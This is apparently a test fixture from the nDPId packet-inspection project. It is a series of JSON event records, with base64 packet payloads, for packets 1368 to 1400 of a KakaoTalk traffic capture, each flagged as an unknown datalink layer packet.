+00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":611975,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6OtWAbFAJiz6jGguGVRltD0xwkmh2y4gkgxIKpjQnVK\/giCtwzw4ZTwsq26ZZzivSdb1Lo0Wh0IA8mgXmdFhqfD4ewrlfgu3jXHMjjWgxG3Dd+rTuBKylDH8x\/7E+ZyRbudauw8ug7LoMuam9ibJrvAf4GX6KW53M0DAem01OznwWHmvrSYP1mZA1+QqrJBR13n3Jqv+cN\/qpwyQTA1o90ZdCBgmtHb6g2SFnFNZb6U6DZaxa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":612036,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMgAAEAAPxHa2goYUrwByQGuLDhaBAC0FlmAbFAKiz6m2guGVRmPe+n8PF7\/+gQDsTTwcdS3DtVl8jjjwDa2sH093hOBXpdofEL7xFPl84U6J2mTerMP7qfWO56dVqB511S2dauNEbQCKjB2Bgp1cHYFKb3xyJaGHpZoriyFiFdHSnm+uET+Yg12Y1SAYq11JBA95YPkTRuBvg9bUCg5kJ8k+DsguqifbyKOD9yjp4MkMYH55dFLBqRi3r589KIOurxpXIW7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":663611,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZgeAbDKQfq4Ig1Sapdr8e6QbvbguxvhbBh2mkcVur49crdPQqAR96Dt5HVIwFd5kt1Bj3sxtWOrd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":705115,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/kwCAbDKRfq4MQ1SapdpLNPzv7flJ1yZ2Zy+wKNZfcrZKk24UrBrbexhIH0ZelkZDvboUamdRq6dJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":714057,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAPxHa3AoYUrwByQGuLDhaBACy8TSAbFALiz6qmguGVRmI7fpBJlCY7HdPICAm0sQ5L0avo\/uREPkvzATs77UQsDVo4Enn+YtlgPGuABxAu0uge6u3phe3tvwG9vZJyvmDejO5thxAUf46xtUluJP9MEGCkwKYR2LQU25IHUhnlA3mzpQAwiLrbnYwQ2hgH8r8D44pzUveBQriiZwdO\/UkZYFuLQk2Pm7\/7oxP1JZEWHonWNSqjWZGU+Qld0qYsA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":714209,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAPxHa3AoYUrwByQGuLDhaBACygCaAbFAMiz6uWguGVRnThlUG4RMriwzSMQbNH0RN2bEZBbrkcsLZwjFJrZZ1Gznx+c\/GVWFfKFx3XWO6lEmjVHfGWjtEgR8A7MwSG346OjEd8JM6CV4Q\/+2e+\/wdEYIdU7ZmHZyD\/Itax2lYOADWNyGnBnYHaVALyYqu8IsOCI4GG1aoymeW803\/BwGyNolCe4zb5bTggwHQwMA7FYGQwpEfezLAUSevD0W5QQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":742987,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/eLGAbDKSfq4QA1SapdoZ1BoXKnkIgXM9mcwaiz2HJelPFua60ZR5Y6UxXQUZI4OUzO7hML2eHsrM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00582{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":791999,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAHBH9vgHJAa4KGFK8WgYoHACo5vWAbE\/Xiz3nmguGVRlcQ8j\/Fj23ZqPmZ\/Pit+HHzzMChY9uT+nPn8lxvR8+HmsK6wZeUfoLQg\/sdfFLMDeWc9ck7CKWBgOBNwvSe5+yyZ6tGyKwXZE4QdK80pat7\/7K5ICXBiOv2k3n9f1LZEB\/iZedhuWcvYXJLVcZrDiTHLaCoBLCc4pQmOexR9OAajW5qMCQOSBgioaijUwdFz3RzVHz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":813269,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZM4CAbFANiz6yGguGVRnr6NqnIDsW8DMTWwilZzTGyICynenjj1JoUAchwfGOqn+FXT4XFDBT6pfpUICQF9gLNoEhmlOxeY3TEEQl8nN9g\/SsT9130H9PXEjUtpLav3NX4WAL8ChsqBcZdBt3If4mIvmt3z4nH4JR+YDngVAJOG\/LNQwGR1IqUUfK0ePqdfILqNIy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":823737,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/\/BqAbDKTfq4Tw1SapdqVD82ugpSdPbS42nK7yZxR1CvAVaLLA1UwFisOgQXnt9T4R8br8Mo4Yb1E"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":859046,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/6ICAbDKUfq4Xg1SapdqP7sVgzncXTJ2LyoIdS2R1EO2ctegJXdp2\/y4b9FI8gQJYjd6oKCZSEtGR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":871314,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACfl6mAbE\/Yiz3rWguGVRmoussqm9dbBM35\/+hPGuhVT1GRqMC0QLEoBUTRZ4PEAMkgUnSyLECxgjWJutwaVgXvSFeNh3LwZWQ0dKFhARGgv35+sQ9nRHR2ITNNndDXfvQZxnaHoaDSgc0xggxmdpOqNHaH0Wfk4MBYyjhow8bRtaBdo6K3EAY9srKZ4drgq8neGEP1nG1gXG0m"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":891364,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/5BOAbDJefq1NA1SapdpnNY9AKsOJlZUVWC8JqaWyHRYkS8G5oyotSwmSJwMPAYxe8EQGVmX9qVbP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":907721,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK4AAEAAPxHa9AoYUrwByQGuLDhaBACa+aSAbFAOiz612guGVRlWy+7RJx8ZvXwdFd1O6wcVNr+iGYJTj+QrjgNme9MnnRbBdvTB4AZLaW1iw\/lps4lyetuH1w2tHqRwK0av\/XBWkbkNGjRRWvULBpfJ8NfWC+09Tw020tfJul6GSJiIHAu+33diaiU8L5IB68fC\/gyRHIQ0rhjcFDZaZgCr3Sqdesm6IuWstQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00516{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":908942,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7D2WAbFAPiz65mguGVRkvIx0En1weuXr4iGo5f1+1GAkqjwRAk+d2GmsI45mHDyh48Fmp0K7KAkTkjrtaChHQjSCkDPkuLlLsAcrUznNZXvEJr7wo3NpPgFqX4GWXfMYB3tRZq+c4b7OT3ttFWZneRDmMMjdT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":943183,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/WayAbDKVfq4bQ1Sapdpqtr3lmeAiSP+Yk9RMuRlifmYBKO15IphLYkib1UJ5W2ncdN19zr5hzHlE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":951300,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/+SOAbDJffq1Qw1Sapdpf1weSmFqb2lsR5Y3D3waTeHbH+MkFFP6x5BJirw3tV4XOtx9tia\/94c1B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069191,"pkt_ts_usec":999488,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABI6VyAbDJifq1cA1SapdqVaB8wcX8OxruHx7VMCNTNZimmU62WFbCbQDPkWwyDoR7UW0E1HpfrVaHN84OvgM8nKrqf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":128,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHRH9IwHJAa4KGFK8WgQsOABDkiWAbDJgfq1Ug1Sapdrh+0c2z9sekuW51\/MN+ogweW6j7m2n\/XDty1luWGEDa9oxdUSJ+rCfX8ZF67aRiQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":3363,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGNmuAbDJhfq1YQ1SapdoYQjo8uLcBuN3HLgsu2Ll9L48NiVj96RxRmuTRziGIbugjdcSw5wU+0kn8RxfLdNfhsw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":3913,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIK0qAbE\/aiz3y2guGVRmnd1z2m5lpgqzl9OrgEVIUFuWNEpZJawBdqqbOLUdj55CZR++\/5EhPB6nszmYafQzJj6hS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":7056,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGJ7aAbFAQiz69WguGVRnKARKn3YB1GvnwRHFXiV7dllKbirVKqOjtFl4BnOk7CxuzXLvcFKnNuwECgznTNhR0hw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":8368,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHMimAbFARiz7BGguGVRmv1pVkBPCiRsUHzWzox4HbZXkJWIlaX7rL43lRkovlWgsJH2u\/7cyALuFN+hmYPuu1ayk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":8490,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHBH91wHJAa4KGFK8WgYoHACP7i6AbE\/Ziz3vGguGVRlZvEJNWKBc0GA2txE1fCfCbOkbltV7PNF5nTMRfwXddf5OMGYmxmzlEetJx3EeZM3g1+aKQl5JX+I2c+DZ7N5DALLXJGYQbb7lLOuToJSVA7ZKgPtKGJAmppHoemA6RI3fe5bjsOINief\/zH880\/4FieEqV8IbCm6aWI0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":8612,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJWcGAbE\/biz32mguGVRmiU5S0jTnPG0P6pDItq5k\/jdBorJDq6LFXhwC9wXg7BYUsf1y6wRBvvVLZdA\/+80PqVgkCrA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":10169,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/zmGAbDKWfq4fA1SapdqiBH9YZDecttuN0gbo9TQI\/+iZ9pZ+C8\/28WQOl+GsSeV76p48ApE71OfJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":44745,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKqDGAbE\/ciz36WguGVRm0Kjh6vxu9i84xpuevO8Reml+7ISAEMrahTDASGcD6Zt0tJb8RXPW2BRqrTymvkMhl3n2ihhY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":52619,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGSruAbE\/diz3+GguGVRnD1Hc4pGsorAHgSR4n7lI528+sZk8Kp5gCoqh0bLIP5geZs0h7c0BqtL4Pj4tjIpq7GQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":79474,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFJ8GAbDJjfq1fw1SapdqJstZNzV1MEaNpUhhu7cmHl8qdiCyI3JYbraQSpRU8LwnEUArwuoez38aG+K2q8eEG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":82465,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGjZ2AbDKXfq4iw1SapdpRQkBbY7NvAhSxAFaj7y+ckGTdr9GjQ6XWPT\/RozInim0LsoC8kPF0aEs5hYdM5oyyIQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":103369,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABI0EmAbDJkfq1jg1SapdoesWOoBZvRSfsHbgK1qwAlEcrNQK+1GUNCl67m0DetaxCNE7WmfZQz73w6SvC108D4OORt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":109351,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMVQqAbFASiz7E2guGVRk761KzF8aRv0BVlDoipYkQWK\/qMidzNAfEVx\/ATrZFTEnRo++Qy+UuBEaD5BErZ\/NnblGwdpje8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":127417,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGCC6AbE\/eiz4B2guGVRnICByUM+w0dgUPh4A1ZGpfFJ5SBxTaOgBVWRmuiYa4FSZ6CpeWCJED0sL6B9eIpW7Vbg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 